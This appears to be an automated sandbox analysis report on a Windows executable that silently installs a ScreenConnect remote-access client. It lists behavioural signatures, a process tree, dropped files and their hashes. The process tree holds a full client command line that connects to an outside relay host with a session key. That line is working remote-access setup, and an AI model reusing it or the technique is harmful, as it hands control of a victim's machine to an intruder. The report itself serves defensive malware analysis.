Analysis

  • max time kernel
    43s
  • max time network
    109s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    14-10-2024 13:39

General

  • Target

    425ab54a2a799c669902ddf13f47bd686ce4d08f1ee0b1bea65a750a3b03cd37.exe

  • Size

    5.2MB

  • MD5

    e8147dc0f5b8c50ed2e086f69eb3f986

  • SHA1

    0be60e64d8c875f212d7085a42a2f81095fe7a44

  • SHA256

    425ab54a2a799c669902ddf13f47bd686ce4d08f1ee0b1bea65a750a3b03cd37

  • SHA512

    2f4bbdfcaed451d5437eb0779d7f8752051a6fc1e7a399fd45574f91756e704beef16dfaf282e250839d51457324ea9d3cba43820fb11401521f9fc43a6918e0

  • SSDEEP

    98304:Kps6efPfBOPvLtabi4X0MV+dYdcGt7VIb4:sfefPJws3V+a

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 15 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 23 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 52 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\425ab54a2a799c669902ddf13f47bd686ce4d08f1ee0b1bea65a750a3b03cd37.exe
    "C:\Users\Admin\AppData\Local\Temp\425ab54a2a799c669902ddf13f47bd686ce4d08f1ee0b1bea65a750a3b03cd37.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1680
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\d519fd2fdcfe66e7\setup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2668
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 57244D0E224EFCBE12183829DD201C96 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:560
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI781D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_259488178 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2784
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A551DF592739F3AAF4A3709FD018B6A4
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:932
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding F846D0DAEB85C0CE0EAEFC1522D96E00 M Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2324
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
      PID:3028
    • C:\Windows\system32\DrvInst.exe
      DrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot19" "" "" "61530dda3" "0000000000000000" "00000000000004A0" "00000000000004C0"
      1⤵
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      PID:1900
    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=bw36back93.site&p=8880&s=33c4b2ac-0122-491f-a6cd-c0f1623d6f27&k=BgIAAACkAABSU0ExAAgAAAEAAQBVrCWSt%2b2cKthNAS8WCpzwBkW7gylKQJ6RDxIjHv%2fRvikga3OHVBUUk74eX5u2WDvyGlxXUsTAHstE3Rks8Zw%2f5nMdMDz%2ffz%2fdADWqNvA27WRDTbgEuKYVImg%2bRuQTeYBssAlSkC71PJ4gqNaRdbnySWnXqNuCohB8XKd6MUQapUfc4DXF0e7EWF1onYtP%2bZz6ui1%2fvm3P0miTphdoOYDPJyJmnFL6AS3%2bEi4fXJkHoPDDjsiShDMOBGrn%2bwsLLVTQZCpIQElO7sxadYkptz0t1JF7bRKqG2Z6vshgz%2fal71%2fFvdI1kgsL2h5jLyMZgmq6EW%2fOzhQCdP4oY8SDbMW0&c=OFF99&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:960
      • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe" "RunRole" "304328be-9306-432a-b4a4-11854416dd48" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: AddClipboardFormatListener
        PID:996
      • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe" "RunRole" "6dcd661a-8c23-40e1-bf9d-657dfd09d7ba" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: AddClipboardFormatListener
        PID:1092

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Config.Msi\f77cb1e.rbs

      Filesize

      213KB

      MD5

      b793d1063d9837f2db54fa9b282d6450

      SHA1

      b6b8944fffef06e9ac251467d50df2ed38a041f9

      SHA256

      332619a1540c9683616a72a6df1656db48a4f1054a52d348c922524d9d9952dc

      SHA512

      33733c5a30289fe81bb97cef0f60c458465516b1ca028fc6a82485f1d7fdf28eb7a9b9f622252493d53a556fbb668aaf313f258c33adc3f813cffd5c05b038fb

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\Client.Override.en-US.resources

      Filesize

      762B

      MD5

      b09dfe9fef5bdad50aed0c5c81a7f8b8

      SHA1

      0fe2acb83a8d66156e3f8afe10963c3878a9c8d4

      SHA256

      39a6456f828160e9f1d49df496143a3d83401478b0b9dfd18b66d1f44628aa73

      SHA512

      c5709d3cb1379acccff12a19ca42b3b696f2266aa94792b011acd7658eb319c8ef6df5019f83d8759f1e19db9d4492582794739c185bd691d7c84493f7390bfb

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\Client.Override.resources

      Filesize

      17KB

      MD5

      1a9ce086dc257d884e31d884d8c138f1

      SHA1

      83de5729eb3e524986f18f5144490fd2de9a8377

      SHA256

      8d0d89b5cbcbfc3c4eac7b05ec6a4eb018388e8022d033524b6317bb53c8d56f

      SHA512

      8ca7783af9c4c143178587ac0b6928d6d7e37f8b4b2176a34bb4f76415f492286736b2ae8d8e555bb3cefc103fe816d98fa1296d6bf8ddc094f6ab0d6c85f2d1

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\Client.en-US.resources

      Filesize

      47KB

      MD5

      3e83a3aa62c5ff54ed98e27b3fbecf90

      SHA1

      96d8927c870a74a478864240b3ace94ad543dfb8

      SHA256

      2d88b97d28be01abca4544c6381a4370c1a1ce05142c176742f13b44889ddf90

      SHA512

      ea9d05a4aa1ee5cccc61c4f5e8994efba9efff0549b69577bef1f2a22cce908739124eff1e0db5cfdd69e077ad2d7cdb1307de92d79673c9309ee621cb139956

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\Client.resources

      Filesize

      26KB

      MD5

      5cd580b22da0c33ec6730b10a6c74932

      SHA1

      0b6bded7936178d80841b289769c6ff0c8eead2d

      SHA256

      de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c

      SHA512

      c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.dll

      Filesize

      60KB

      MD5

      22af3a23bd30484514cdacf67c5b3810

      SHA1

      e92a4eaee9d896964de541ce2f01c2404b638258

      SHA256

      7c5442121dba2a30ab9579ec08e111ded372cf9cf90fb3256f273980b975afa9

      SHA512

      95e40b27e90fce7ca85e76afbbc16eb62b4bb977664702b987de2eb2294e6fe9e6df5610ec7b2362c2c68493313f30fbbcbd3446dbe8ae2fa47b89407f5d5936

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe

      Filesize

      93KB

      MD5

      dc615e9d8ec81cbf2e2452516373e5a0

      SHA1

      ec83d37a4f45caeb07b1605324d0315f959452e9

      SHA256

      e9ab064ed381c29a3930f75ca3e05605c6ee07f30a69c043f576a5461de3bafc

      SHA512

      82fe00447fb9785264dfb8032399adf6d33d91d71058212d252742c9e5fd54f5a52f6baf4fb05e95f9a4055057c60a33a7c1c642f18a6a4e045b49be88fa5d9f

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Windows.dll

      Filesize

      1.6MB

      MD5

      29454a0cb83f28c24805e9a70e53444a

      SHA1

      334202965b07ab69f08b16fed0ee6c7274463556

      SHA256

      998cc3f9af5bd41ccf0f9be86192bbe20cdec08a6ff73c1199e1364195a83e14

      SHA512

      62790920974a2f1b018d466ae3e3b5100006a3c8013f43bdb04af7074cfe5d992caaeb610de2b1b72ff0e4acf8762db1513a4a0cf331f9a340ae0ce53c3be895

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe

      Filesize

      573KB

      MD5

      5dec65c4047de914c78816b8663e3602

      SHA1

      8807695ee8345e37efec43cbc0874277ed9b0a66

      SHA256

      71602f6b0b27c8b7d8ad624248e6126970939effde785ec913ace19052e9960e

      SHA512

      27b5dcb5b0aeadf246b91a173d06e5e8d6cf2cd19d86ca358e0a85b84cd9d8f2b26372ef34c3d427f57803d90f2e97cf59692c80c268a71865f08fc0e7ce42d1

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe.config

      Filesize

      266B

      MD5

      728175e20ffbceb46760bb5e1112f38b

      SHA1

      2421add1f3c9c5ed9c80b339881d08ab10b340e3

      SHA256

      87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077

      SHA512

      fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsCredentialProvider.dll

      Filesize

      746KB

      MD5

      f01a59c5cf7ec437097d414d7c6d59c4

      SHA1

      9ea1c3fbf3b5adbe5a23578dea3b511d44e6a2dd

      SHA256

      62b405f32a43da0c8e8ed14a58ec7b9b4422b154bfd4aed4f9be5de0bc6eb5e8

      SHA512

      587748ad4dd18677a3b7943eab1c0f8e77fe50a45e17266ba9a0e1363eda0ff1eabcf11884a5d608e23baf86af8f011db745ad06bcdecdfd01c20430745fe4bb

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\app.config

      Filesize

      3KB

      MD5

      6c877186e0d2c6a1d80e8c7deec91a64

      SHA1

      2c06db283fb549342dbf98409a27112b998f80e1

      SHA256

      291ec4968b2634871de8479a8740202ab56841e81a32547f0237f5d396ba0823

      SHA512

      970da6bc4f51f6766fccddea327eed3bf8d665080ac8504a36374403673935fd03cba0e169deee01c3e8f4c246ee073d0d559d9b313e7c6471015c95c8178e78

    • C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\system.config

      Filesize

      947B

      MD5

      247c11d52c5612a6ad017c4fedb6536c

      SHA1

      b38a9b8e04399caf980f340026e56f5582799017

      SHA256

      0ce9a497e2a276071662bd3791848805e4f42d769b573ebea14d776a4f2479a3

      SHA512

      d5b768cc8f36f87bfb5ebdb041be797a2df13f44e468a6a6ff207961384ee11123824198e13c91d73d568372670e902687949eaff54bca1b249c93f1a7701c0e

    • C:\Users\Admin\AppData\Local\Temp\MSI781D.tmp

      Filesize

      1017KB

      MD5

      8d94c9f4c07b76b4e32daffcc51109da

      SHA1

      62e31a89c488d6745abb72a3071f688fd6180d33

      SHA256

      2b35c0e4088b2a7728fa7bc6a5bfdefed7665598de6d49641fdf5d1f1271a4d7

      SHA512

      0092cbbd95777e6931864d61931efdf3a349f79c575030cad9a1771432f52e1bdc25d5640e2923d202c42c2ce242d00187486334a946e97319d48211233eb0ac

    • C:\Users\Admin\AppData\Local\Temp\ScreenConnect\d519fd2fdcfe66e7\setup.msi

      Filesize

      13.5MB

      MD5

      084b900b78e5d77c06a7a9423b55cc64

      SHA1

      dfca185aae6e09e95c22e254087619d6116467c3

      SHA256

      9724b75d3405ea5ca0412b75e424aee603c1b8d3f4b7316a93e061d024c2c862

      SHA512

      d798293597e391566432267a016ec16619760d4752c3f688eeb997bfaff69cdb3ffe62077e6ce96bea7f4f498b2802a54ca0de62e36c3ec43d16802700310767

    • C:\Windows\Installer\MSID1A2.tmp

      Filesize

      202KB

      MD5

      ba84dd4e0c1408828ccc1de09f585eda

      SHA1

      e8e10065d479f8f591b9885ea8487bc673301298

      SHA256

      3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852

      SHA512

      7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290

    • \Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Client.dll

      Filesize

      188KB

      MD5

      6bc9611d5b6cee698149a18d986547a8

      SHA1

      f36ab74e4e502fdaf81e101836b94c91d80cb8ea

      SHA256

      17377a52eeae11e8ee01eb629d6a60c10015ad2bb8bc9768e5c8e4b6500a15ed

      SHA512

      3f23670d0ba150de19a805db6beb6eed8538bbad6fbe3cc21d17d738a43cf411c679a23cea11549e69be0321e672f740791d40e92498aef9d1f8650743ee85ea

    • \Users\Admin\AppData\Local\Temp\MSI781D.tmp-\Microsoft.Deployment.WindowsInstaller.dll

      Filesize

      172KB

      MD5

      5ef88919012e4a3d8a1e2955dc8c8d81

      SHA1

      c0cfb830b8f1d990e3836e0bcc786e7972c9ed62

      SHA256

      3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d

      SHA512

      4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684

    • \Users\Admin\AppData\Local\Temp\MSI781D.tmp-\ScreenConnect.Core.dll

      Filesize

      519KB

      MD5

      b319407e807be1a49e366f7f8ea7ee2a

      SHA1

      b12197a877fb7e33b1cb5ba11b0da5ca706581ba

      SHA256

      761b7e50baa229e8afcd9a50990d7f776ddb5ed1ea5fbb131c802e57cf918742

      SHA512

      dc497643790dc608dece9c8fe7264efedd13724bd24c9bf28a60d848b405fddefb8337a60f3f32bb91518910e02c7a2aaf29fc32f86a464dfcafa365526bdb7f

    • \Users\Admin\AppData\Local\Temp\MSI781D.tmp-\ScreenConnect.InstallerActions.dll

      Filesize

      21KB

      MD5

      b0585159161d50e330b7f8eda50a2770

      SHA1

      8636fab3ce6c21a42d3e5fbd495c2ddad4279162

      SHA256

      ca9e51d51f24e16428d1b0e9a0829a44da2678bfc7ba00f0b46a57dcd6d734b8

      SHA512

      e9ae99bdce64ca4282fa4580d3b081f7d0874c756aef77fb58e10db148e2f670ba48667ce62033c6f514ff825dc54c1bdbae2c7f8d5f9355486402cf75e1d5ad

    • memory/960-117-0x0000000003D80000-0x0000000003E3E000-memory.dmp

      Filesize

      760KB

    • memory/960-91-0x00000000011D0000-0x0000000001258000-memory.dmp

      Filesize

      544KB

    • memory/960-95-0x00000000038F0000-0x0000000003A9A000-memory.dmp

      Filesize

      1.7MB

    • memory/960-87-0x0000000000370000-0x0000000000386000-memory.dmp

      Filesize

      88KB

    • memory/960-115-0x0000000000B40000-0x0000000000B76000-memory.dmp

      Filesize

      216KB

    • memory/960-84-0x0000000000370000-0x0000000000386000-memory.dmp

      Filesize

      88KB

    • memory/996-129-0x0000000000140000-0x00000000001D4000-memory.dmp

      Filesize

      592KB

    • memory/996-134-0x0000000000560000-0x0000000000576000-memory.dmp

      Filesize

      88KB

    • memory/996-133-0x00000000002B0000-0x00000000002C6000-memory.dmp

      Filesize

      88KB

    • memory/996-132-0x000000001B3F0000-0x000000001B59A000-memory.dmp

      Filesize

      1.7MB

    • memory/996-131-0x000000001A870000-0x000000001A8F8000-memory.dmp

      Filesize

      544KB

    • memory/996-130-0x00000000001E0000-0x0000000000216000-memory.dmp

      Filesize

      216KB

    • memory/1680-7-0x0000000073F60000-0x000000007464E000-memory.dmp

      Filesize

      6.9MB

    • memory/1680-2-0x0000000073F60000-0x000000007464E000-memory.dmp

      Filesize

      6.9MB

    • memory/1680-3-0x0000000004FB0000-0x000000000527A000-memory.dmp

      Filesize

      2.8MB

    • memory/1680-1-0x0000000000490000-0x0000000000498000-memory.dmp

      Filesize

      32KB

    • memory/1680-9-0x0000000073F60000-0x000000007464E000-memory.dmp

      Filesize

      6.9MB

    • memory/1680-4-0x0000000000EC0000-0x0000000000F48000-memory.dmp

      Filesize

      544KB

    • memory/1680-6-0x00000000004F0000-0x0000000000512000-memory.dmp

      Filesize

      136KB

    • memory/1680-5-0x0000000073F60000-0x000000007464E000-memory.dmp

      Filesize

      6.9MB

    • memory/1680-0-0x0000000073F6E000-0x0000000073F6F000-memory.dmp

      Filesize

      4KB

    • memory/2784-26-0x0000000000770000-0x000000000079E000-memory.dmp

      Filesize

      184KB

    • memory/2784-34-0x0000000004B40000-0x0000000004BC8000-memory.dmp

      Filesize

      544KB

    • memory/2784-30-0x00000000007C0000-0x00000000007CC000-memory.dmp

      Filesize

      48KB